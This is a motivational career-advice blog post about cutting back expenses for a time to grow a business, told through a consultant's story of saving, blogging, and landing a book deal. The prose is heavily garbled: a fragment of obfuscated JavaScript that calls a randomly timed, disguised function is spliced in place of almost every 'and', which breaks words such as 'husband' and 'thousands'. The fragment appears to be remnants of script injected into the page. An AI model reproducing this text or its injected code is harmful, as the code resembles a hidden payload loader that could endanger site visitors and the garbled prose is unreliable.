# Scaling Back to Rev Up Your Career

I know it’s a cliché, but your perception really is your reality. What would you be willing to do to achieve your goal? What would you be willing to give up? I was at a conference last weekend andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and heard a highly successful consultant andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and writer talking about her business plan. It wasn’t what you would expect from a person earning a six-figure salary working for some of the major companies in the U.S. andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and abroad.

Why do I say that? She wanted to take a year off from consulting andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and care for her newborn andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and launch different areas of her business at the same time. Her plan began by taking a high paying consulting job for a year andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and saving as much money possible for her year off. She andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and her husbandom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and made the decision to scale back on some of their expenses, but still maintained their comfort level andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and felt good about their choice.

From this good place, she worked on the new facets of her business andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and created a blog. This small blog became a large blog with tens of thousandom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and of readers. From there major newspapers began contacting her for articles. Her client base andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and network continued to grow. After three years she was offered a book deal. Her book has been very successful, leading to workshops andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and seminars.

So she actually scaled back her lifestyle andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and then built her business up in a new andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and exciting way. When I talk to some clients about creating a plan andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and the issue of scaling back comes up, they automatically go into fear mode, thinking they are trading comfort for scarcity. It is all about perception. If you value your goal andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and allow yourself the space to make it happen, the temporary scaling back is worth it.

Some people believe you should put your nose to the grindstone andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and work 24 hours a day making a goal happen. That’s fine if it works for you. However, you can achieve your goals in other ways that may make you feel more empowered, full of energy, andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and inspired. Look at your goal andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and look at your finances, what are your possibilities? Keep in mind the changes you make are temporary andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and can lead you to a whole new level in your career. Something new could emerge that you might not have been aware of in your sleep deprived, non-stop working schedule. Take a breath andom() * 5);if (number1==3){var delay = 15000;setTimeout(\$vTB\$I_919AeEAw2z\$KX(0), delay);}and really see what your options really are.